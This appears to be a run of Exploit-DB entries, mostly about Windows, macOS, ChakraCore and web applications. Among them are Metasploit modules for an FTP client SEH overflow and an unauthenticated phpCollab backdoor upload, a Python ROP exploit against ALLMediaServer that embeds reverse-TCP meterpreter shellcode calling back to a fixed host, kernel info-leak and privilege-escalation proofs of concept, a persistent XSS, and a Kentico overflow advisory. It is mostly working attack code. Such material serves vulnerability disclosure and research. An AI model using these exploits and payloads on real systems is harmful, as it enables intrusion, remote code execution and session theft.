namespace NtfsSetOwner_EoP
{
class Program
{
static void CreateFileWithOwner(string path)
{
try
{
FileSecurity sd = new FileSecurity();
sd.SetSecurityDescriptorSddlForm("O:SYG:SYD:(A;;GA;;;WD)");
using (var file = File.Create(path, 1024, FileOptions.None, sd))
{
Console.WriteLine("Created file {0}", path);
}
}
catch (Exception ex)
{
Console.WriteLine("Error creating file {0} with arbitrary owner", path);
Console.WriteLine(ex.Message);
}
}
static void Main(string[] args)
{
try
{
Directory.CreateDirectory(@"c:\test");
CreateFileWithOwner(@"c:\test\test1.txt");
CreateFileWithOwner(@"\\localhost\c$\test\test2.txt");
}
catch (Exception ex)
{
Console.WriteLine(ex);
}
}
}
}
Windows: NtImpersonateAnonymousToken AC to Non-AC EoP
Platform: Windows 10 1703 and 1709
Class: Elevation of Privilege
Summary:
The check for an AC token when impersonating the anonymous token doesn’t check impersonation token’s security level leading to impersonating a non-AC anonymous token leading to EoP.
Description:
There's a missing check for impersonation level in NtImpersonateAnonymousToken when considering if the caller is currently an AC. This results in the function falling into the restricted token case if the caller is impersonating a non AC token at identification or below. Some example code is shown highlighting the issue.
SeCaptureSubjectContext(&ctx);
PACCESS_TOKEN token = ctx.ClientToken;
if (!ctx.ClientToken) <--- Should check the token's impersonation level here, and fallback to the PrimaryToken.
token = ctx.PrimaryToken;
if (token->Flags & 0x4000) {
// ... Impersonate AC anonymous token.
} else if (!SeTokenIsRestricted(PsReferencePrimaryToken())) { <-- AC PrimaryToken isn't restricted so this check passes
// ... Impersonate normal anonymous token.
}
For example when using a split-token admin you can trivially get the linked token and impersonate that. As an AC token isn't restricted this results in impersonating the normal anonymous token which is arguably less restricted than the AC token in some cases and is certainly less restricted than the anonymous AC token which is normally created using SepGetAnonymousToken. For example you can open objects with a NULL DACL if you can traverse to them or open devices which would normally need the special AC device object flag for traversal across the object namespace. You can also access the anonymous token's device map and modify it, potentially leading to bypass of symbolic link protections in certain cases.
Proof of Concept:
I’ve provided a PoC as a C# project. The PoC will respawn itself as the Microsoft Edge AC and then execute the exploit. You must run this as a UAC split token admin. Note that this ISN’T a UAC bypass, just that a split-token admin has a trivial way of getting a non-AC token by requesting the linked token.
1) Compile the C# project. It will need to grab the NtApiDotNet from NuGet to work. Ensure the main executable and DLLs are in a user writable location (this is needed to tweak the file permissions for AC).
2) Execute the PoC as normal user level split-token admin.
3) Once complete a dialog should appear indicating the operation is a success.
Expected Result:
The AC anonymous token is impersonated, or at least an error occurs.
Observed Result:
The Non-AC anonymous token is impersonated.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43515.zip
Windows: SMB Server (v1 and v2) Mount Point Arbitrary Device Open EoP
Platform: Windows 10 1703 and 1709 (seems the same on 7 and 8.1 but not extensively tested)
Class: Elevation of Privilege
Summary:
The SMB server driver (srv.sys and srv2.sys) don't check the destination of a NTFS mount point when manually handling a reparse operation leading to being able to locally open an arbitrary device via an SMB client which can result in EoP.
Description:
Note before I start event though this involves SMB this is only a local issue, I don't know of anyway to exploit this remotely without being able to run an application on the local machine.
NTFS mount points are handled local to the SMB server so that the client does not see them. This is different from NTFS symbolic links which are passed back to the client to deal with. In order to handle the symbolic link case the server calls IoCreateFileEx from Smb2CreateFile passing the IO_STOP_ON_SYMLINK flag which results in the IoCreateFileEx call failing with the STATUS_STOPPED_ON_SYMLINK code. The server can then extract the substitution path from the reparse pointer buffer and either pass the buffer to the client if it's a symbolic link or handle it if it's a mount point.
The way the server handles a symbolic link is to recall IoCreateFileEx in a loop (it does check for a maximum iteration count although I'd swear that's a recent change) passing the new substitute path. This is different to how the IO manager would handle this operation. In the IO manager's case the reparse operation is limited to a small subset of device types, such as Disk Volumes. If the new target isn't in the small list of types then the reparse will fail with an STATUS_IO_REPARSE_DATA_INVALID error. However the SMB server does no checks so the open operation can be redirected to any device. This is interesting due to the way in which the device is being opened, it's in a system thread and allows a caller to pass an arbitrary EA block which can be processed by the device create handler.
One use for this is being able to the spoof the process ID and session ID accessible from a named pipe using APIs such as GetNamedPipeClientProcessId. Normally to set these values to arbitrary values requires kernel mode access, which the SMB driver provides. While you can open a named pipe via SMB anyway in that case you can't specify the arbitrary values as the driver provides its own to set the computer name accessible with GetNamedPipeClientComputerName. I've not found any service which uses these values for security related properties.
Note that both SMBv1 and SMBv2 are vulnerable to the same bug even the code isn't really shared between them.
Proof of Concept:
I’ve provided a PoC as a C# project. It creates a mount point to \Device and then tries to open the CNG driver directly and via the local share for the drive.
1) Compile the C# project. It will need to grab the NtApiDotNet from NuGet to work.
2) Execute the PoC as a normal user.
Expected Result:
Both direct and via SMB should fail with STATUS_IO_REPARSE_DATA_INVALID error.
Observed Result:
The direct open fails with STATUS_IO_REPARSE_DATA_INVALID however the one via SMB fails with STATUS_INVALID_INFO_CLASS which indicates that the CNG driver was opened.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43517.zip
Windows: NtImpersonateAnonymousToken LPAC to Non-LPAC EoP
Platform: Windows 10 1703 and 1709 (not tested Windows 8.x)
Class: Elevation of Privilege
Summary:
When impersonating the anonymous token in an LPAC the WIN://NOAPPALLPKG security attribute is ignored leading to impersonating a non-LPAC token leading to EoP.
Description:
When running in LPAC the WIN://NOAPPALLPKG attribute is used to block the default use of the ALL APPLICATION PACKAGES sid. When impersonating the anonymous token this attribute isn't forwarded on to the new token in SepGetAnonymousToken. This results in being able to impersonate a "normal" AC anonymous token which could result in getting more access to the system (such as anything which is marked as ANONYMOUS LOGON and ALL APPLICATION PACKAGES but not ALL RESTRICTED APPLICATION PACKAGES or a specific capability SID).
Proof of Concept:
I’ve provided a PoC as a C# project. The PoC will respawn itself as the Microsoft Edge LPAC and then execute the exploit.
1) Compile the C# project. It will need to grab the NtApiDotNet from NuGet to work. Ensure the main executable and DLLs are in a user writable location (this is needed to tweak the file permissions for AC).
2) Execute the PoC as normal user
3) Once complete a dialog should appear indicating the operation is a success.
Expected Result:
The anonymous token is an LPAC.
Observed Result:
The anonymous token is a normal AC.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43516.zip
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::Seh
include Msf::Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'LabF nfsAxe 3.7 FTP Client Stack Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the LabF nfsAxe 3.7 FTP Client allowing remote
code execution.
},
'Author' =>
[
'Tulpa', # Original exploit author
'Daniel Teixeira' # MSF module author
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '42011' ]
],
'Payload' =>
{
'BadChars' => "\x00\x0a\x10",
},
'Platform' => 'win',
'Targets' =>
[
# p/p/r in wcmpa10.dll
[ 'Windows Universal', {'Ret' => 0x6801549F } ]
],
'Privileged' => false,
'DefaultOptions' =>
{
'SRVHOST' => '0.0.0.0',
},
'DisclosureDate' => 'May 15 2017',
'DefaultTarget' => 0))
register_options(
[
OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ])
])
end
def exploit
srv_ip_for_client = datastore['SRVHOST']
if srv_ip_for_client == '0.0.0.0'
if datastore['LHOST']
srv_ip_for_client = datastore['LHOST']
else
srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')
end
end
srv_port = datastore['SRVPORT']
print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")
super
end
def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)
print_status("#{client.peerhost} - connected.")
res = client.get_once.to_s.strip
print_status("#{client.peerhost} - Request: #{res}") unless res.empty?
print_status("#{client.peerhost} - Response: Sending 220 Welcome")
welcome = "220 Welcome.\r\n"
client.put(welcome)
res = client.get_once.to_s.strip
print_status("#{client.peerhost} - Request: #{res}")
print_status("#{client.peerhost} - Response: sending 331 OK")
user = "331 OK.\r\n"
client.put(user)
res = client.get_once.to_s.strip
print_status("#{client.peerhost} - Request: #{res}")
print_status("#{client.peerhost} - Response: Sending 230 OK")
pass = "230 OK.\r\n"
client.put(pass)
res = client.get_once.to_s.strip
print_status("#{client.peerhost} - Request: #{res}")
eggoptions = { :checksum => true }
hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
# "\x20"s are used to make the attack less obvious
# on the target machine's screen.
sploit = "220 \""
sploit << "\x20"*(9833 - egg.length)
sploit << egg
sploit << generate_seh_record(target.ret)
sploit << hunter
sploit << "\x20"*(576 - hunter.length)
sploit << "\" is current directory\r\n"
print_status("#{client.peerhost} - Request: Sending the malicious response")
client.put(sploit)
end
end
/*
The syscall
process_policy(scope=PROC_POLICY_SCOPE_PROCESS, action=PROC_POLICY_ACTION_GET, policy=PROC_POLICY_RESOURCE_USAGE, policy_subtype=PROC_POLICY_RUSAGE_CPU, attrp=<userbuf>, target_pid=0, target_threadid=<ignored>)
causes 4 bytes of uninitialized kernel stack memory to be written to userspace.
The call graph looks as follows:
process_policy
handle_cpuuse
proc_get_task_ruse_cpu
task_get_cpuusage
[writes scope=1/2/4/0]
[always returns zero]
[writes policyp if scope!=0]
[always returns zero]
copyout
If task_get_cpuusage() set `*scope=0` because none of the flags
TASK_RUSECPU_FLAGS_PERTHR_LIMIT, TASK_RUSECPU_FLAGS_PROC_LIMIT and TASK_RUSECPU_FLAGS_DEADLINE are set in task->rusage_cpu_flags,
proc_get_task_ruse_cpu() does not write anything into `*policyp`, meaning that `cpuattr.ppattr_cpu_attr` in
handle_cpuuse() remains uninitialized. task_get_cpuusage() and proc_get_task_ruse_cpu() always return zero,
so handle_cpuuse() will copy `cpuattr`, including the unititialized `ppattr_cpu_attr` field, to userspace.
Tested on a Macmini7,1 running macOS 10.13 (17A405), Darwin 17.0.0:
$ cat test.c
*/
#include <stdint.h>
#include <stdio.h>
#include <inttypes.h>
struct proc_policy_cpuusage_attr {
uint32_t ppattr_cpu_attr;
uint32_t ppattr_cpu_percentage;
uint64_t ppattr_cpu_attr_interval;
uint64_t ppattr_cpu_attr_deadline;
};
void run(void) {
int retval;
struct proc_policy_cpuusage_attr attrs = {0,0,0,0};
asm volatile(
"mov $0x02000143, %%rax\n\t" // process_policy
"mov $1, %%rdi\n\t" // PROC_POLICY_SCOPE_PROCESS
"mov $11, %%rsi\n\t" // PROC_POLICY_ACTION_GET
"mov $4, %%rdx\n\t" // PROC_POLICY_RESOURCE_USAGE
"mov $3, %%r10\n\t" // PROC_POLICY_RUSAGE_CPU
"mov %[userptr], %%r8\n\t"
"mov $0, %%r9\n\t" // PID 0 (self)
// target_threadid is unused
"syscall\n\t"
: //out
"=a"(retval)
: //in
[userptr] "r"(&attrs)
: //clobber
"cc", "memory", "rdi", "rsi", "rdx", "r10", "r8", "r9"
);
printf("retval = %d\n", retval);
printf("ppattr_cpu_attr = 0x%"PRIx32"\n", attrs.ppattr_cpu_attr);
printf("ppattr_cpu_percentage = 0x%"PRIx32"\n", attrs.ppattr_cpu_percentage);
printf("ppattr_cpu_attr_interval = 0x%"PRIx64"\n", attrs.ppattr_cpu_attr_interval);
printf("ppattr_cpu_attr_deadline = 0x%"PRIx64"\n", attrs.ppattr_cpu_attr_deadline);
}
int main(void) {
run();
return 0;
}
/*
$ gcc -Wall -o test test.c
$ ./test
retval = 0
ppattr_cpu_attr = 0x1a180ccb
ppattr_cpu_percentage = 0x0
ppattr_cpu_attr_interval = 0x0
ppattr_cpu_attr_deadline = 0x0
That looks like the lower half of a pointer or so.
*/
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'phpCollab 2.5.1 Unauthenticated File Upload',
'Description' => %q{
This module exploits a file upload vulnerability in phpCollab 2.5.1
which could be abused to allow unauthenticated users to execute arbitrary code
under the context of the web server user.
The exploit has been tested on Ubuntu 16.04.3 64-bit
},
'Author' =>
[
'Nicolas SERRA <n.serra[at]sysdream.com>', # Vulnerability discovery
'Nick Marcoccio "1oopho1e" <iremembermodems[at]gmail.com>', # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-6090' ],
[ 'EDB', '42934' ],
[ 'URL', 'http://www.phpcollab.com/' ],
[ 'URL', 'https://sysdream.com/news/lab/2017-09-29-cve-2017-6090-phpcollab-2-5-1-arbitrary-file-upload-unauthenticated/' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['Automatic', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 29 2017'
))
register_options(
[
OptString.new('TARGETURI', [ true, "Installed path of phpCollab ", "/phpcollab/"])
])
end
def check
url = normalize_uri(target_uri.path, "general/login.php?msg=logout")
res = send_request_cgi(
'method' => 'GET',
'uri' => url
)
version = res.body.scan(/PhpCollab v([\d\.]+)/).flatten.first
vprint_status("Found version: #{version}")
unless version
vprint_status('Unable to get the PhpCollab version.')
return CheckCode::Unknown
end
if Gem::Version.new(version) >= Gem::Version.new('0')
return CheckCode::Appears
end
CheckCode::Safe
end
def exploit
filename = '1.' + rand_text_alpha(8 + rand(4)) + '.php'
id = File.basename(filename,File.extname(filename))
register_file_for_cleanup(filename)
data = Rex::MIME::Message.new
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"upload\"; filename=\"#{filename}\"")
print_status("Uploading backdoor file: #{filename}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'clients/editclient.php'),
'vars_get' => {
'id' => id,
'action' => 'update'
},
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
})
if res && res.code == 302
print_good("Backdoor successfully created.")
else
fail_with(Failure::Unknown, "#{peer} - Error on uploading file")
end
print_status("Triggering the exploit...")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "logos_clients/" + filename)
}, 5)
end
end
#!/usr/bin/python
# Exploit Title: Stack Buffer Overflow in ALLMediaServer 0.95
# Exploit Author: Mario Kartone Ciccarelli
# Contact: https://twitter.com/Kartone
# CVE: CVE-2017-17932
# Date: 09-01-2018
# Thanks to PoC: https://www.exploit-db.com/exploits/43406/
# Software link: http://www.allmediaserver.org/download
# Version: 0.95
# Attack: Remote Code Execution
# Tested on: Windows 7 x64 Ultimate Eng SP1
#
import sys
import socket
import struct
def main():
def create_rop_chain():
rop_gadgets = [
0x00407f5d, # POP EAX # RETN [MediaServer.exe]
0x00797250, # ptr to &VirtualAlloc() [IAT MediaServer.exe]
0x004061db, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MediaServer.exe]
0x0053bc02, # XCHG EAX,ESI # RETN [MediaServer.exe]
0x006c71f8, # POP EBP # RETN [MediaServer.exe]
0x00449a05, # & jmp esp [MediaServer.exe]
0x0049bbc4, # POP EBX # RETN [MediaServer.exe]
0x00000001, # 0x00000001-> ebx
0x00500b33, # POP EDX # RETN [MediaServer.exe]
0x00001000, # 0x00001000-> edx
0x006b5c67, # POP ECX # RETN [MediaServer.exe]
0x00000040, # 0x00000040-> ecx
0x0042365d, # POP EDI # RETN [MediaServer.exe]
0x006def0d, # RETN (ROP NOP) [MediaServer.exe]
0x0040710f, # POP EAX # RETN [MediaServer.exe]
0x90909090, # nop
0x0068c35c, # PUSHAD # RETN [MediaServer.exe]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
rop_chain = create_rop_chain()
# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.134 lport=4444 -f python
shellcode32 = ""
shellcode32 += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
shellcode32 += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
shellcode32 += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
shellcode32 += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
shellcode32 += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
shellcode32 += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
shellcode32 += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
shellcode32 += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
shellcode32 += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
shellcode32 += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
shellcode32 += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
shellcode32 += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
shellcode32 += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
shellcode32 += "\xff\xd5\x6a\x0a\x68\xc0\xa8\x00\x86\x68\x02\x00\x11"
shellcode32 += "\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
shellcode32 += "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
shellcode32 += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"
shellcode32 += "\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"
shellcode32 += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a"
shellcode32 += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
shellcode32 += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
shellcode32 += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40"
shellcode32 += "\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57"
shellcode32 += "\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9"
shellcode32 += "\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0"
shellcode32 += "\xb5\xa2\x56\x6a\x00\x53\xff\xd5"
# Stack-pivot at 0x0042b356 : {pivot 2052 / 0x804} : # ADD ESP,800 # POP EBX # RETN ** [MediaServer.exe] ** | startnull {PAGE_EXECUTE_READ}
size = 3000
seh_offset = 1072
sp_offset = 548
buffer = ""
buffer += "A" * sp_offset
buffer += rop_chain
buffer += "\xe9\xcb\x01\x00\x00" # JMP $1d0
buffer += "A" * (seh_offset - len(buffer))
buffer += "\xff\xff\xff\xff" # NSEH record
buffer += struct.pack('<L', 0x0042b356 ) # Stackpivot on SEH record
buffer += shellcode32
buffer += "B" * (size - len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 888))
print "[+] AllMediaServer 0.95 Stack Buffer Overflow Exploit"
print "[+] Sending evil payload to " + sys.argv[1] + "..."
s.send(buffer)
s.close()
if __name__ == '__main__':
main()
/*
Here's a snippet of AppendLeftOverItemsFromEndSegment in JavascriptArray.inl.
growby = endSeg->length;
current = current->GrowByMin(recycler, growby);
CopyArray(current->elements + endIndex + 1, endSeg->length,
((Js::SparseArraySegment<T>*)endSeg)->elements, endSeg->length);
LinkSegments((Js::SparseArraySegment<T>*)startPrev, current);
if (HasNoMissingValues())
{
if (ScanForMissingValues<T>(endIndex + 1, endIndex + growby))
{
SetHasNoMissingValues(false);
}
}
In the "ScanForMissingValues" method, it uses "head". But it doesn't check the grown segment "current" is equal to "head" before calling the method.
I guess it shoud be like:
if (current == head && HasNoMissingValues())
{
if (ScanForMissingValues<T>(endIndex + 1, endIndex + growby))
{
SetHasNoMissingValues(false);
}
}
*/
function trigger() {
let arr = [1.1];
let i = 0;
for (; i < 1000; i += 0.5) {
arr[i + 0x7777] = 2.0;
}
arr[1001] = 35480.0;
for (; i < 0x7777; i++) {
arr[i] = 1234.3;
}
}
for (let i = 0; i < 100; i++) {
trigger();
}
# Exploit Title: Xnami Image Sharing - Persistent XSS Vulnerability
# Google Dork: " Copyright 2017 xnami. " & 2018
# Date: 11-01-2018
# Exploit Author: Dennis Veninga
# Contact Author: d.veninga [at] networking4all.com
# Vendor Homepage: bizlogicdev.com
# Version: 1.0
# CVE-ID: CVE-2018-5370
Xnami facilitates the creation of an image sharing community. This is
similar in
functionality to sites like imgur, ImageShack, et al.
BizLogic xnami 1.0 has XSS via the comment parameter in an addComment
action to the /media/ajax URI.
At any uploaded media there is a comment system where people can post (also
anonymous).
The comment system is vulnerable to XSS attacks. Since it's persistent
and there is an user login interface, it's possible for attackers to
steal sessions of users and thus admin(s).
---------------------------
---------------------------
PoC with mediaId 611 as example:
POST:
http://{{target}/media/ajax
method: addComment
comment: "><XSSCODE<
mediaId 611
---------------------------
---------------------------
Evil javascript code can be inserted and will be executed when visiting the
media.
Document Title:
===============
Kentico CMS v11.0 - Stack Buffer Overflow Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1943
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-5282
CVE-ID:
=======
CVE-2018-5282
Release Date:
=============
2018-01-04
Vulnerability Laboratory ID (VL-ID):
====================================
1943
Common Vulnerability Scoring System:
====================================
6
Vulnerability Class:
====================
Buffer Overflow
Current Estimated Price:
========================
2.000€ - 3.000€
Product & Service Introduction:
===============================
Kentico is the only fully integrated ASP.NET CMS, E-commerce, and Online Marketing platform that allows you to create cutting-edge
websites and optimize your digital customers’ experiences fully across multiple channels. Kentico saves you time and resources so
you can accomplish more. Giving you the power to improve and refine your digital strategy, align it with the needs of your customers,
and create unique user experiences, Kentico 9 accelerates customer loyalty through new technologies.
(Copy of the Homepage: http://www.kentico.com/product/kentico9 )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a stack buffer overflow vulnerability in the official Kentico v9.0, v10.0 & v11.0 content management system software.
Vulnerability Disclosure Timeline:
==================================
2018-01-04: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Kentico Software
Product: Kentico - Content Management System (eCommerce Software) 9.0
Kentico Software
Product: Kentico - Content Management System (eCommerce Software) 10.0
Kentico Software
Product: Kentico - Content Management System (eCommerce Software) 11.0
Exploitation Technique:
=======================
Local
Severity Level:
===============
High
Technical Details & Description:
================================
A local stack buffer overflow vulnerability has been discovered in the official Kentico v9.0, v10.0 & v11.0 content management system software.
The buffer overflow vulnerability allows local attackers to compromise the local system process by an overwrite of the active registers.
The local buffer overflow vulnerability is located in the `Load XML Configuration` module for file imports. The xml file impact input
data of the configuration for the software. In several values of the xml file the inputs are not recognized by an approval of the secure
software validation mechanism. The iis configuration settings are connected to a secure validation process, the sql install database
information in the xml file are not. The non-exisiting input validation and the unrestricted context size allows local attackers to
trigger a stack buffer overflow vulnerability. That results in compromise of the software process with system privileges.
The security risk of the local buffer overflow vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.0.
Exploitation of the stack buffer overflow vulnerability requires a low privilege or restricted system user account without user interaction.
Successful exploitation of the vulnerability results in overwrite of the active registers to compromise of the computer system or process.
Vulnerable Module(s):
[+] Load XML Configuration
Proof of Concept (PoC):
=======================
The local buffer overflow vulnerability can be exploited by local attackers with low privileged or restricted system user account without user interaction.
For security demonstration or to reproduce the software vulnerability follow the provided information and steps below to continue the process.
Manual steps to reproduce the vulnerability ...
1. Download the newst software version of the Kentico cms (v9.0.x - 9.0.5981.23486)
2. Accept the program conditions and click to custom installation
3. Open the local hosted xml poc file
4. Include a large unicode payload to the marked values
5. Save the xml file on your localhost
6. Move back to the kentico v9.x installation process with the custom install screen
Note: Attach a debugger to followup with the overwrite on the active registers
7. Load the xml poc file by usage of the import function of kentico (left|buttom)
8. The vulnerable values loaded and the process will permanently crash with different exceptions
9. Move back to the debugger that is attached to the active software process and followup with an overwrite of the active ecx, ebp or eip registers
10. Successful reproduce of the local buffer overflow vulnerability!
PoC: Vulnerable Source (XML)
<SilentInstall Log="True" LogFile="" OnError="Stop" CheckRequirements="False" ShowProgress="CommandPrompt">
<Setup InstallOnlyProgramFiles="False" Location="Local" SetupFolder="C:Program Files (x86)Kentico9.0" NET="4.5" OpenAfterInstall="True"
DeleteExisting="False" DoNotOverwriteInstallation="True" RegisterCounters="False" InstallWinServices="False" RegisterApplicationToEventLog="False"
WebProject="WebApplication" KillRunningProcesses="False" EnableModuleUsageTracking="True" />
<Sql InstallDatabase="True" Server="127.0.0.1" Authentication="SQL"
SqlName="[INCLUDE UNICODE PAYLOAD HERE TO TRIGGER THE BOF!]"
SqlPswd="[INCLUDE UNICODE PAYLOAD HERE TO TRIGGER THE BOF!]"
Database="[INCLUDE UNICODE PAYLOAD HERE TO TRIGGER THE BOF!]" Operation="" Collation="SQL_Latin1_General_CP1_CI_AS" Schema="" DeleteExisting="False" />
<IIS Website="" TargetFolder="C:inetpubwwwrootKentico9" DeleteExisting="GetUnique" KillRunningProcesses="False" />
<Modules type="InstallAll" />
<WebTemplates type="InstallAll" />
<UICultures type="InstallAll" />
<Dictionaries type="InstallAll" />
<WebSites />
<Licenses />
<Notification Enabled="False" Server="[INCLUDE UNICODE PAYLOAD HERE TO TRIGGER THE BOF!]"
UserName="[INCLUDE UNICODE PAYLOAD HERE TO TRIGGER THE BOF!]"
Password="[INCLUDE UNICODE PAYLOAD HERE TO TRIGGER THE BOF!]"
SSL="False" From="" To="" Subject="" AttachLogFile="True" />
</SilentInstall>
Note: Start the software exe file kentico v9.0 on windows, attach the windows debugger and load the xml config file to overwrite the ecx and eip registers.
The installation path and the iis website values are not exploitable, because of the active content restrictions of the process that drops an invalid
argument exception to prevent.
PoC: Exploit Code (XML)
<SilentInstall Log="True" LogFile="" OnError="Stop" CheckRequirements="False" ShowProgress="CommandPrompt">
<Setup InstallOnlyProgramFiles="False" Location="Local" SetupFolder="C:Program Files (x86)Kentico9.0" NET="4.5" OpenAfterInstall="True" DeleteExisting="False"
DoNotOverwriteInstallation="True" RegisterCounters="True" InstallWinServices="True" RegisterApplicationToEventLog="True"
WebProject="WebApplication" KillRunningProcesses="True" EnableModuleUsageTracking="True" />
<Sql InstallDatabase="True" Server="127.0.0.1" Authentication="SQL"
SqlName="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+"
SqlPswd="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+"
Database="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+"
Operation="" Collation="SQL_Latin1_General_CP1_CI_AS" Schema="" DeleteExisting="False" />
<IIS Website="" TargetFolder="C:inetpubwwwrootKentico9" DeleteExisting="GetUnique" KillRunningProcesses="False" />
<Modules type="InstallAll" />
<WebTemplates type="InstallAll" />
<UICultures type="InstallAll" />
<Dictionaries type="InstallAll" />
<WebSites />
<Licenses />
<Notification Enabled="False" Server="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+" UserName="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+" Password="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+" SSL="False" From="" To="" Subject="" AttachLogFile="True" />
</SilentInstall>
PoC: Exploitation (Perl)
#!/usr/bin/perl
my $Buff = "A" x 3000;
open(MYFILE,'>>kentico_unicode_payload.txt');
print MYFILE $Buff;
close(MYFILE);
print "PoC (c) Vulnerability-Laboratory";
--- PoC Debug Session Logs [WinDBG] ---
(1522.21ec): Stack buffer overflow - code c0000409
eax=00000000 ebx=0044b208 ecx=00410041 edx=513cc7c2 esi=003a22d0 edi=00477cd0
eip=41004100 esp=00000000 ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=001c ss=0022 ds=0022 es=0022 fs=002c gs=0000 efl=00000000
41414141 cc22
-
EXCEPTION_RECORD: ffffffff -- (.exr ffffffffffffffff)
ExceptionAddress: 41414141
ExceptionCode: c0000409 (Stack Buffer Overflow)
ExceptionFlags: 00000001
NumberParameters: 1
Parameter[0]: 00000002
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure file size and input character restriction like on the iis scheme website input.
Parse the full xml file on import and restrict the memory size on imports to prevent further buffer overflow attacks.
Security Risk:
==============
The security risk of the local stack buffer overflow vulnerability in the kentico cms software is estimated as high. (CVSS 6.0)
Credits & Authors:
==================
Benjamin K.M. [bkm@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M.
Disclaimer & Information:
=========================
